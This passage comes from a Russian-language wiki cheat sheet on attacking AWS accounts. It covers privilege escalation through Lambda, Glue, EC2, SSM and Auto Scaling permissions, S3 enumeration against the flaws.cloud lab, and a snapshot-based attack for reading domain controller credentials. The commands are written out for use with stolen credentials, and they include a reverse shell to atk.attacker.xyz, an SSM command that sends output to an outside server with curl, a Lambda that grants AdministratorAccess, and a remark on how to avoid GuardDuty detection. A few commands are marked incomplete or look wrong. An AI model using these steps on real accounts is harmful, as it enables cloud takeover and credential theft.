# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
